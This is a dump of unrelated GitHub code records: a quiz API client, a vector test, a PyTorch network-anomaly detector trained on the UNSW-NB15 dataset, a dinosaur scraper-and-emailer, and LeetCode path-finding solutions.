"pyaedt.pyaedt_function_handler", "line_number": 398, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 489, "usage_type": "call"}, {"api_name": "os.path", "line_number": 489, "usage_type": "attribute"}, {"api_name": "pyaedt.pyaedt_function_handler", "line_number": 479, "usage_type": "call"}, {"api_name": "pyaedt.pyaedt_function_handler", "line_number": 503, "usage_type": "call"}]} {"seq_id": "42086910612", "text": "from .utils import make_request\n\nclass QuizClient:\n def __init__(self, api_key):\n \"\"\"API Client\n\n Parameters\n ----------\n api_key : str\n QuizAPI.io API Key\n \"\"\"\n self.api_key = api_key\n self.config = None\n self.endpoint = \"https://quizapi.io/api/v1/questions\"\n self._config_exist = False\n \n \n\n def make_config(self, category=None, difficulty=None, limit=None, tags=None):\n if (not isinstance(limit, int)) or limit <= 0 or limit > 20:\n raise ValueError(\"limit arg must be an integer between 1 and 20\")\n configs = {\n \"category\":category, \n \"difficulty\":difficulty, \n \"limit\":limit, \n \"tags\":tags\n }\n\n newConfig = {}\n for config in configs:\n if configs[config] == None:\n continue\n else:\n newConfig[config] = configs[config]\n\n config = newConfig\n\n self.config = config\n self._config_exist = True\n\n\n def get_questions(self, use_config=False, category=None, difficulty=None, limit=None, tags=None):\n if use_config == True:\n if self.config == None:\n raise ValueError(\"No config defined on Client Object. Use the make_config method to make a configuration.\")\n else:\n config = self.config\n else:\n if (not isinstance(limit, int)) or (limit <= 0 or limit > 20):\n raise ValueError(\"limit arg must be an integer between 1 and 20\")\n configs = {\n \"category\":category, \n \"difficulty\":difficulty, \n \"limit\":limit, \n \"tags\":tags\n }\n\n newConfig = {}\n for config in configs:\n if configs[config] == None:\n continue\n else:\n newConfig[config] = configs[config]\n\n config = newConfig\n\n response, content, status = make_request(self.api_key, self.endpoint, config)\n\n if status != 403:\n raise Exception(f\"Error Code: {status}, {content['error']}\")\n else:\n return content\n", "repo_name": "msherburne/pyquizAPI", "sub_path": "pyquizAPI/client/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 2242, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "utils.make_request", "line_number": 67, "usage_type": "call"}]} {"seq_id": "26134992724", "text": "from vector import Vector\n\nv1 = Vector([[1.], [2.], [3.]])\nv2 = Vector([[1.0, 2.0, 3.0]])\n# # print(v1.T().values)\n# # print(v1.dot(v1))\n# # v1.T()\n# # print(v1.values)\n# v1 = Vector([[0.0], [1.0], [2.0], [3.0]])\n# v2 = v1 * 5\n# print(v2)\n# # Expected output:\n# # Vector([[0.0], [5.0], [10.0], [15.0]])\n# # Row vector of shape 1 * n\n# v1 = Vector([[0.0, 1.0, 2.0, 3.0]])\n# v2 = v1 * 5\n# print(v2)\n# # Expected output\n# # Vector([[0.0, 5.0, 10.0, 15.0]])\n# v2 = v1 / 2.0\n# print(v2)\n# # Expected output\n# # Vector([[0.0], [0.5], [1.0], [1.5]])\n# # v1 / 0.0\n# # # Expected ouput\n# # # ZeroDivisionError: division by zero.\n# v2 / v1\n# # Expected output:\n# # NotImplementedError: Division of a scalar by a Vector is not defined here.\n# # 8\nprint(eval(repr(v1)).shape)\n", "repo_name": "Madara-art/python", "sub_path": "Module 01/ex02/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 764, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "vector.Vector", "line_number": 3, "usage_type": "call"}, {"api_name": "vector.Vector", "line_number": 4, "usage_type": "call"}]} {"seq_id": "41125136082", "text": "import time\nimport numpy as np \nimport pandas as pd\nimport matplotlib.pyplot as plt \n\nimport cv2\n\nimport torch\nimport torch.nn as nn \n\nimport torchvision \nimport torchvision.transforms as transforms \n\nfrom torch.utils.data import Dataset, DataLoader\n\nfrom PIL import Image\n\n#############################################################################\n################################## UTILS ####################################\nclass AverageMeter(object):\n r\"\"\"Computes and stores the average and current value\n \"\"\"\n def __init__(self, name, fmt=':f'):\n self.name = name\n self.fmt = fmt\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\n def __str__(self):\n fmtstr = '{name} {val' + self.fmt + '} ({avg' + self.fmt + '})'\n return fmtstr.format(**self.__dict__)\n\nclass ProgressMeter(object):\n def __init__(self, num_batches, *meters, prefix=\"\"):\n self.batch_fmtstr = self._get_batch_fmtstr(num_batches)\n self.meters = meters\n self.prefix = prefix\n\n def print(self, batch):\n entries = [self.prefix + self.batch_fmtstr.format(batch)]\n entries += [str(meter) for meter in self.meters]\n print('\\t'.join(entries))\n\n def _get_batch_fmtstr(self, num_batches):\n num_digits = len(str(num_batches // 1))\n fmt = '{:' + str(num_digits) + 'd}'\n return '[' + fmt + '/' + fmt.format(num_batches) + ']'\n\ndef accuracy(output, target, topk=(1,)):\n r\"\"\"Computes the accuracy over the $k$ top predictions for the specified values of k\n \"\"\"\n with torch.no_grad():\n maxk = max(topk)\n batch_size = target.size(0)\n _, idx = output.sort(descending=True)\n \n pred = idx[:,:maxk]\n \n pred = pred.t()\n correct = pred.eq(target.t())\n\n res = []\n for k in topk:\n correct_k = correct[:k].reshape(-1).float().sum(0, keepdim=True)\n res.append(correct_k.mul_(100.0 / batch_size))\n return res\n\ndef just_convert_to_bin(number):\n if type(number) == str: # 문자열의 경우 \n binary_value = \"\"\n \n for char in number :\n binary_value += bin(ord(char)).lstrip(\"0b\")\n \n binary_value = binary_value\n return binary_value\n \n elif type(number) == int: # 정수형의 경우 그냥 binary로 바꾸고 '0b'제거 \n return bin(number).lstrip(\"0b\")\n \n else:\n float_length = 64\n formatted_number = \"{:.64f}\".format(number)\n \n # 필요한 만큼 타입 변환 \n dec, float_number = str(formatted_number).split(\".\")\n \n # 정수부는 이진수로 바로 바꿈 \n dec = int(dec)\n res = bin(dec).lstrip(\"0b\")\n \n # 소수부 연산 처리 \n while(len(res) < float_length):\n float_number = float(\"0.\" + float_number) \n float_number = float_number * 2\n float_number = \"{:.64f}\".format(float_number)\n dec, float_number = str(float_number).split(\".\")\n res += dec\n return res\n\ndef make_patch(item, patch_size):\n '''\n item should be a np.ndarray \n '''\n patch = \"\"\n total_length = patch_size[0] * patch_size[1]\n\n for elem in item : \n patch += just_convert_to_bin(elem)\n\n while(len(patch) < total_length) : # patch사이즈를 일정하게 만드는 거 \n patch+= \"0\"\n\n patch = list(map(int, patch))\n patch = np.array(patch)[:total_length] # 만약 바이너리로 변형한 부분이 packet 사이즈 보다 크면 뒤는 버려버리는 것 \n\n return patch.reshape(patch_size)\n\nclass PacketFeature:\n def __init__(self, feature_size):\n self.frame = np.zeros(feature_size)\n self.fsize = feature_size\n # print(\"Frame shape : \", self.frame.shape)\n # print(\"Frame size : \", self.fsize)\n self.patch_count = 0\n\n def append(self, patch):\n size = patch.shape # Ex 32 * 32\n stride = size[0]\n try:\n if ((self.fsize[0] % stride) == 0):\n pass\n else : \n raise\n except:\n print(\"frame size and patch size unmatched\")\n return\n \n if(self.patch_count >= stride*stride):\n self.patch_count = 0\n \n count = self.fsize[0] // stride\n row = self.patch_count//count # 만약 self.patch_count = 3 이면 patch row는 0~31에 내용이 들어가야하고 col에는 96~127에 있어야지 \n col = self.patch_count % count\n\n for row_stride in range(stride):\n current_row = row*stride + row_stride\n current_col_start = col*stride\n current_col_end = current_col_start + stride\n\n self.frame[current_row][current_col_start:current_col_end] = patch[row_stride]\n \n self.patch_count = self.patch_count + 1\n#############################################################################\n#############################################################################\n\n\n#############################################################################\n################################## Model ####################################\nclass MobileNetV1(nn.Module):\n def __init__(self, ch_in, n_classes):\n super(MobileNetV1, self).__init__()\n\n def conv_bn(inp, oup, stride):\n return nn.Sequential(\n nn.Conv2d(inp, oup, 3, stride, 1, bias=False),\n nn.BatchNorm2d(oup),\n nn.ReLU(inplace=True)\n )\n\n def conv_dw(inp, oup, stride):\n return nn.Sequential(\n # dw\n nn.Conv2d(inp, inp, 3, stride, 1, groups=inp, bias=False),\n nn.BatchNorm2d(inp),\n nn.ReLU(inplace=True),\n\n # pw\n nn.Conv2d(inp, oup, 1, 1, 0, bias=False),\n nn.BatchNorm2d(oup),\n nn.ReLU(inplace=True),\n )\n\n self.model = nn.Sequential(\n conv_bn(ch_in, 32, 2),\n conv_dw(32, 64, 1),\n conv_dw(64, 128, 2),\n conv_dw(128, 128, 1),\n conv_dw(128, 256, 2),\n conv_dw(256, 256, 1),\n conv_dw(256, 512, 2),\n conv_dw(512, 512, 1),\n conv_dw(512, 512, 1),\n conv_dw(512, 512, 1),\n conv_dw(512, 512, 1),\n conv_dw(512, 512, 1),\n conv_dw(512, 1024, 2),\n conv_dw(1024, 1024, 1),\n nn.AdaptiveAvgPool2d(1)\n )\n self.fc = nn.Linear(1024, n_classes)\n\n def forward(self, x):\n x = self.model(x)\n x = x.view(-1, 1024)\n x = self.fc(x)\n return x\n#############################################################################\n#############################################################################\n\n\n#############################################################################\n######################### Dataset Preprocessing #############################\nclass MyDataSet(Dataset):\n def __init__(self, df):\n packets = df.drop(['attack_cat', 'label'], axis=1).values\n self.x_train = []\n self.y_train = []\n y_train = df.iloc[:, [-1]].values\n \n patches = []\n for packet in packets:\n patches.append(make_patch(packet, (32, 32)))\n\n for idx,_ in enumerate(patches):\n pf = PacketFeature((224, 224))\n\n if(idx+49 > len(packets)):\n break\n sum = 0\n for count in range(49):\n pf.append(patches[idx + count])\n sum += int(y_train[idx+count])\n\n if(sum != 0):\n self.y_train.append(1)\n else:\n self.y_train.append(0)\n\n self.x_train.append(pf.frame)\n \n def __len__(self):\n return len(self.y_train)\n \n def __getitem__(self, idx):\n return self.x_train[idx], self.y_train[idx]\n#############################################################################\n#############################################################################\n\n\n#############################################################################\n################################ TRAIN CODE #################################\ndef main():\n print(\"load data.... \")\n train_df = pd.read_csv(\"../UNSW_NB15_training-set.csv\", index_col = False).drop('id', axis = 1)\n # test_df = pd.read_csv(\"../UNSW_NB15_testing-set.csv\", index_col = False).drop('id', axis = 1)\n print(\"load data complete!\")\n\n print(\"Making Dataset.... \")\n train_data = MyDataSet(train_df)\n print(\"Making Dataset complete! \")\n\n WEIGHTDECAY = 1e-4\n MOMENTUM = 0.9\n BATCHSIZE = 64\n LR = 0.1\n EPOCHS = 150\n\n train_loader = DataLoader(train_data, batch_size = BATCHSIZE, shuffle=True)\n model = MobileNetV1(ch_in=1, n_classes=2)\n\n optimizer = torch.optim.SGD(model.parameters(), lr = LR,\n momentum=MOMENTUM, weight_decay=WEIGHTDECAY,\n nesterov=True)\n scheduler = torch.optim.lr_scheduler.MultiStepLR(optimizer, [75,125], gamma=0.1)\n criterion = torch.nn.CrossEntropyLoss()\n\n model = model.cuda()\n criterion = criterion.cuda()\n \n # parameter of our model\n pytorch_total_params = sum(p.numel() for p in model.parameters())\n print(f\"Number of parameters: {pytorch_total_params}\")\n \n last_top1_acc = 0\n \n for epoch in range(EPOCHS):\n print(\"\\n----- epoch: {}, lr: {} -----\".format(\n epoch, optimizer.param_groups[0][\"lr\"]))\n \n # train for one epoch \n start_time = time.time()\n# last_top1_acc = train(train_loader, epoch, model, optimizer, criterion)\n train(train_loader, epoch, model, optimizer, criterion)\n elapsed_time = time.time() - start_time \n print('==> {:.2f} seconds to train this epoch \\n'.format(\n elapsed_time))\n \n # learning rate scheduling \n scheduler.step()\n if(epoch % 10 == 0):\n \n torch.save(model.state_dict(), f'/ptfiles/20220519_{epoch}.pt')\n \n \n# print(f\"Last Top-1 Accuracy: {last_top1_acc}\")\n# print(f\"Number of parameters: {pytorch_total_params}\")\n \ndef train(train_loader, epoch, model, optimizer, criterion):\n batch_time = AverageMeter('Time', ':6.3f')\n data_time = AverageMeter('Data', ':6.3f')\n losses = AverageMeter('Loss', ':.4e')\n top1 = AverageMeter('Acc', ':6.2f')\n progress = ProgressMeter(len(train_loader), batch_time, data_time, losses, \n top1, prefix=\"Epoch: [{}]\".format(epoch))\n \n # switch to train mode \n model.train()\n end = time.time()\n \n batch_loss = []\n total = 0 \n correct = 0\n best_acc = 0\n PRINTFREQ = 20\n for i, (input, target) in enumerate(train_loader):\n # measure data loading time \n data_time.update(time.time() - end)\n print(\"input length : \", len(input))\n\n input = np.array(input)\n target = np.array(target)\n \n input = torch.tensor(input, dtype=torch.float32)\n target = torch.tensor(target, dtype=torch.float32)\n\n input = input.unsqueeze(1)\n \n input = input.float()\n input = input.cuda()\n target = target.cuda()\n target = target.squeeze(-1)\n \n # compute ouput \n output = model(input)\n\n loss = criterion(output, target)\n _, predicted = output.max(1)\n total += target.size(0)\n \n correct += predicted.eq(target).sum().item()\n acc1 = correct/total\n\n # measure accuracy and record loss, accuracy \n losses.update(loss.item(), input.size(0))\n \n # compute gradient and do SGD step \n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n \n # measure elapsed time \n batch_time.update(time.time() - end)\n end = time.time()\n \n if i % PRINTFREQ == 0:\n print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}\\tAcc: {:.6f}'.format(\n epoch, i * len(input), len(train_loader.dataset, ),\n 100. * i / len(train_loader), loss.item(), 100. * correct / total))\n batch_loss.append(loss.item())\n loss_avg = sum(batch_loss) / len(batch_loss)\n#############################################################################\n#############################################################################\n\nif __name__ == \"__main__\":\n main()\n\n", "repo_name": "alstjrdld1/Anomaly_detection", "sub_path": "code/Train_with_stacked_data.py", "file_name": "Train_with_stacked_data.py", "file_ext": "py", "file_size_in_byte": 12783, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.no_grad", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 132, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 171, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 171, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 176, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 176, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 177, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 177, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 178, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 178, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 179, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 179, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 183, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 183, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 185, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 185, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 186, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 186, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 187, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 187, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 190, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 190, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 191, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 191, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 192, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 192, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 195, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 195, "usage_type": "name"}, {"api_name": "torch.nn.AdaptiveAvgPool2d", "line_number": 210, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 210, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 212, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 212, "usage_type": "name"}, {"api_name": "torch.utils.data.Dataset", "line_number": 225, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 266, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 280, "usage_type": "call"}, {"api_name": "torch.optim.SGD", "line_number": 283, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 283, "usage_type": "attribute"}, {"api_name": "torch.optim.lr_scheduler.MultiStepLR", "line_number": 286, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 286, "usage_type": "attribute"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 287, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 287, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 303, "usage_type": "call"}, {"api_name": "time.time", "line_number": 306, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 314, "usage_type": "call"}, {"api_name": "time.time", "line_number": 330, "usage_type": "call"}, {"api_name": "time.time", "line_number": 339, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 342, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 343, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 345, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 345, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 346, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 346, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 374, "usage_type": "call"}, {"api_name": "time.time", "line_number": 375, "usage_type": "call"}]} {"seq_id": "14104102227", "text": "import os\nimport sys\nimport time\nimport json\nimport requests\nimport random\nimport datetime\n\nimport smtplib\n\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nfrom selenium.webdriver.firefox.options import Options\nfrom selenium.common.exceptions import WebDriverException\n\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\n\nimport pymongo\nfrom pymongo import MongoClient\n\nlog_file = open('/home/ubuntu/dino_log.txt', 'w+')\n\ndef main():\n\n log_file.write('\\nBeginning program execution for {}...\\n'.format(datetime.datetime.now()))\n log_file.flush()\n\n options = Options()\n options.headless = True\n\n # Instantiate web driver...very forcefully\n log_file.write('Attempting to establish webdriver...\\n')\n log_file.flush()\n driver = webdriver.Firefox(options=options)\n driver.set_page_load_timeout(180)\n\n # Get list of wikipedia articles\n log_file.write('Accessing wikipedia list...\\n')\n log_file.flush()\n wiki_names = scrape_names(driver, site='wiki')\n\n # Get list of dinosaurpictures.org articles\n log_file.write('Accessing picture site list...\\n')\n log_file.flush()\n pics_names = scrape_names(driver, site='pics')\n\n # Make a list of the dinosaurs that belong to both\n valid_names = list(set(wiki_names) & set(pics_names))\n num_shared = len(valid_names)\n log_file.write('Found {} dinosaurs shared between both sites...\\n'.format(num_shared))\n log_file.flush()\n\n # Pick a name out of a hat\n random_ix = random.randint(0,num_shared)\n dino_name = valid_names[random_ix]\n log_file.write('Random dinosaur: {}\\n\\n'.format(dino_name))\n log_file.flush()\n\n # Get a random wikipedia article and its text\n wiki_paragraphs = scrape_random_article(driver, dino_name)\n\n # Get links to images of the old guy\n image_links = scrape_image_links(driver, dino_name)\n\n # Open connection to MongoDB\n client = MongoClient('localhost', 27017)\n dino_base = client.dinogram\n\n # Build the actual html document that will comprise the email\n email_html = build_html(dino_name, wiki_paragraphs, image_links, dino_base)\n\n # Send the email\n send_dinogram(email_html, dino_base)\n\n log_file.close()\n client.close()\n driver.quit()\n\ndef send_dinogram(email_html, dino_base):\n\n log_file.write('Sending dinogram to mailing list\\n')\n log_file.flush()\n\n gmail_address, gmail_passwd = fetch_creds(dino_base)\n\n mailing_list = fetch_mailing_list(dino_base)\n\n smtp_server = smtplib.SMTP('smtp.gmail.com', 587)\n smtp_server.starttls()\n smtp_server.login(gmail_address, gmail_passwd)\n\n from_email = gmail_address\n\n for member in mailing_list:\n log_file.write('Mailing to {}\\n'.format(member))\n message = MIMEMultipart('alternative')\n message['Subject'] = 'Dinogram'\n message['From'] = from_email\n message['To'] = member\n\n message_text = MIMEText(email_html, 'html')\n message.attach(message_text)\n\n smtp_server.sendmail(from_email, member, message.as_string())\n\n log_file.write('Finished sending mail!\\n')\n log_file.flush()\n smtp_server.quit()\n\ndef fetch_creds(dino_base):\n\n senders_coll = dino_base.senders\n email = senders_coll.find()[1]['Email']\n passwd = senders_coll.find()[1]['Passwd']\n\n return email, passwd\n\ndef fetch_mailing_list(dino_base):\n\n users_coll = dino_base.users\n mailing_list = [user['Email'] for user in users_coll.find()]\n\n return mailing_list\n\ndef build_html(dino_name, paragraphs, image_links, dino_base):\n\n header = '''\\\n \n \\t\\\n \n \\t\\t\n \\t\\t\\t
\n \\t\\t\\t\\t

\\\n Dino of the Day: '''+dino_name+'''!

'''\n\n footer = '''\\\n \\t\\t\\t
\n \\t\\t\n '''\n\n body = ''\n\n body = body + '''\\\n \\t\\t\\t\\t

Images of '''+dino_name+'''

'''\n\n for link_ix, link in enumerate(image_links):\n\n if (link_ix % 2 == 0):\n body = body + '''\\\n\t \\t\\t\\t\\t
\n\t \\t\\t\\t\\t\\t\n\t \\t\\t\\t\\t
\\n'''\n\n body = body + '''\\\n \\t\\t\\t\\t

Images taken shamelessly from dinosaurpictures.org.

'''\n\n body = body + '''\\\n \\t\\t\\t\\t

Info on '''+dino_name+'''

'''\n\n for paragraph in paragraphs:\n body = body + '''\\\n \\t\\t\\t\\t

\n \\t\\t\\t\\t\\t'''+paragraph+'''\n \\t\\t\\t\\t

\\n'''\n\n body = body + '''\n \\t\\t\\t\\t

\n \\t\\t\\t\\t\\tUnsubscribe from Dinogram\n \\t\\t\\t\\t

'''\n\n if len(paragraphs) == 0:\n body = body + '''\\\n \\t\\t\\t\\t

\n \\t\\t\\t\\t\\tNo information found for this dinosaur!\n \\t\\t\\t\\t

\\n'''\n\n html = header + body + footer\n\n return html\n\ndef scrape_image_links(driver, random_dino_string):\n\n base_url = 'https://dinosaurpictures.org/'\n full_url = base_url + random_dino_string + '-pictures'\n log_file.write('Pictures site url: {}\\n\\n'.format(full_url))\n log_file.flush()\n\n driver.get(full_url)\n\n images_div = driver.find_element_by_xpath('/html/body/div[1]/div[4]')\n\n image_elements = images_div.find_elements_by_xpath('.//a')\n image_link_list = [image.get_attribute('href') for image in image_elements]\n image_link_list = [link for link in image_link_list if link[-4:] == '.jpg']\n\n return image_link_list\n\ndef scrape_random_article(driver, random_dino_string):\n\n base_url = 'https://en.wikipedia.org/wiki/'\n article_url = base_url + random_dino_string\n log_file.write('Wikipedia article url: {}\\n'.format(article_url))\n log_file.flush()\n\n article_result = requests.get(article_url)\n article_content = article_result.content\n article_soup = BeautifulSoup(article_content, 'html.parser')\n\n article_paragraphs = [p_elem.get_text() for p_elem in article_soup.find_all('p')]\n article_paragraphs = [para for para in article_paragraphs if len(para) > 15]\n\n #for para_ix in range(len(article_paragraphs)):\n # log_file.write(article_paragraphs[para_ix])\n\n return article_paragraphs\n\ndef scrape_names(driver, site):\n\n wiki_list_url = 'https://en.wikipedia.org/wiki/List_of_dinosaur_genera'\n pics_home_url = 'https://dinosaurpictures.org'\n\n if site == 'wiki':\n # Navigate to wiki list homepage\n request_result = requests.get(wiki_list_url)\n request_content = request_result.content\n soup = BeautifulSoup(request_content, 'html.parser')\n\n # Find all list elements in the page and take out the proper ones\n all_li = soup.find_all('li')\n all_list_links = [element.find('a') for element in all_li]\n name_list = [element.string for element in all_list_links[6:-107]]\n log_file.write('Found {} dinosaurs on wikipedia page\\n\\n'.format(len(name_list)))\n log_file.flush()\n\n return name_list\n\n elif site == 'pics':\n # Navigate to picture site homepage\n driver.get(pics_home_url)\n\n # Click show more link\n view_all_link = driver.find_element_by_link_text('show more...')\n view_all_link.click()\n\n # Get dino-list div\n list_div_xpath = driver.find_element_by_xpath('/html/body/div[1]/div[3]/ul')\n\n # Get all links contained within dino-list div\n dino_links_xpath = list_div_xpath.find_elements_by_xpath('.//li')\n log_file.write('Found {} dinosaurs on picture site\\n\\n'.format(len(dino_links_xpath)))\n log_file.flush()\n\n # Create list of all names and create link for each\n name_list = [a_elem.text for a_elem in dino_links_xpath]\n\n return name_list\n\nif __name__ == '__main__':\n main()\n", "repo_name": "mickey-is-codin/dinogram", "sub_path": "python-backend/v3/dinogram_v3.py", "file_name": "dinogram_v3.py", "file_ext": "py", "file_size_in_byte": 8130, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "datetime.datetime.now", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 26, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.firefox.options.Options", "line_number": 29, "usage_type": "call"}, {"api_name": "selenium.webdriver.Firefox", "line_number": 35, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 35, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 55, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 67, "usage_type": "call"}, {"api_name": "smtplib.SMTP", "line_number": 89, "usage_type": "call"}, {"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 97, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 102, "usage_type": "call"}, {"api_name": "email.mime.multipart", "line_number": 114, "usage_type": "name"}, {"api_name": "email.mime.multipart", "line_number": 117, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 209, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 211, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 228, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 230, "usage_type": "call"}]} {"seq_id": "14196928835", "text": "# from pudb import set_trace; set_trace()\nfrom typing import List\nimport math\nimport heapq\n\n\nclass Solution1:\n def minimumEffortPath(self, heights: List[List[int]]) -> int:\n \"\"\"Naive solution does not work.\n\n TLE\n \"\"\"\n M, N = len(heights), len(heights[0])\n dp = [[math.inf] * N for _ in range(M)]\n \n def dfs(i: int, j: int, max_effort: int, path) -> None:\n if max_effort >= dp[i][j]:\n return\n dp[i][j] = max_effort\n if i == M - 1 and j == N - 1:\n return\n path.add((i, j))\n for di, dj in [(0, 1), (0, -1), (1, 0), (-1, 0)]:\n ni, nj = i + di, j + dj\n if 0 <= ni < M and 0 <= nj < N and (ni, nj) not in path:\n dfs(ni, nj, max(max_effort, abs(heights[ni][nj] - heights[i][j])), path)\n path.remove((i, j))\n\n dfs(0, 0, 0, set())\n return dp[M - 1][N - 1]\n\n\nclass Solution2:\n def minimumEffortPath(self, heights: List[List[int]]) -> int:\n \"\"\"Convert to a graph. Edge weight is the difference in heights. This\n becomes Dijkstra.\n\n I did see the hint.\n\n Two things to note:\n 1. we can return immediately when the lower right is reached, because\n according to Dijkstra, each node visited is the best way to reach that\n node.\n 2. there is no need to set up a path set that records the nodes visited\n this is because we will not go back to a node visited before unless\n we have a good reason to do so, which is going back reduces the effort.\n \"\"\"\n M, N = len(heights), len(heights[0])\n dp = [[math.inf] * N for _ in range(M)]\n heap = [(0, 0, 0)]\n while heap:\n d, i, j = heapq.heappop(heap)\n if i == M - 1 and j == N - 1:\n return d # when a node is visited, it's guaranteed that the effort is minimum\n for di, dj in [(0, 1), (0, -1), (1, 0), (-1, 0)]:\n ni, nj = i + di, j + dj\n if 0 <= ni < M and 0 <= nj < N:\n cur_d = max(d, abs(heights[ni][nj] - heights[i][j]))\n if cur_d < dp[ni][nj]:\n dp[ni][nj] = cur_d\n heapq.heappush(heap, (cur_d, ni, nj))\n\n\nclass Solution3:\n def minimumEffortPath(self, heights: List[List[int]]) -> int:\n \"\"\"DFS + binary search\n\n Key insight is that during DFS, even if we are doing something similar\n to backtracking, we do not un-flag the current node when the dfs call\n ends. This is because if going from the current node cannot reach the\n destination, it is also impossible to go to the destination from the\n current node if it is reached again from some other path.\n\n 3041 ms, faster than 19.29%\n \"\"\"\n M, N = len(heights), len(heights[0])\n dp = [[math.inf] * N for _ in range(M)]\n \n def dfs(i: int, j: int, thresh: int, path) -> bool:\n if i == M - 1 and j == N - 1:\n return True\n path.add((i, j))\n for di, dj in [(0, 1), (0, -1), (1, 0), (-1, 0)]:\n ni, nj = i + di, j + dj\n if 0 <= ni < M and 0 <= nj < N and (ni, nj) not in path:\n e = abs(heights[ni][nj] - heights[i][j])\n if e <= thresh and dfs(ni, nj, thresh, path):\n return True\n return False\n\n lo, hi = 0, 1000000\n while lo < hi:\n mid = (lo + hi) // 2\n if dfs(0, 0, mid, set()):\n hi = mid\n else:\n lo = mid + 1\n return lo\n\n\nsol = Solution3()\ntests = [\n ([[1,2,2],[3,8,2],[5,3,5]], 2),\n ([[1,2,3],[3,8,4],[5,3,5]], 1),\n ([[1,2,1,1,1],[1,2,1,2,1],[1,2,1,2,1],[1,2,1,2,1],[1,1,1,2,1]], 0),\n ([[1,10,6,7,9,10,4,9]], 9),\n ([[10,8],[10,8],[1,2],[10,3],[1,3],[6,3],[5,2]], 6),\n]\n\nfor i, (heights, ans) in enumerate(tests):\n res = sol.minimumEffortPath(heights)\n if res == ans:\n print(f'Test {i}: PASS')\n else:\n print(f'Test {i}; Fail. Ans: {ans}, Res: {res}')\n", "repo_name": "FanchenBao/leetcode", "sub_path": "2022_04_challenge/04_28_2022.py", "file_name": "04_28_2022.py", "file_ext": "py", "file_size_in_byte": 4165, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 8, "usage_type": "name"}, {"api_name": "math.inf", "line_number": 14, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 34, "usage_type": "name"}, {"api_name": "math.inf", "line_number": 49, "usage_type": "attribute"}, {"api_name": "heapq.heappop", "line_number": 52, 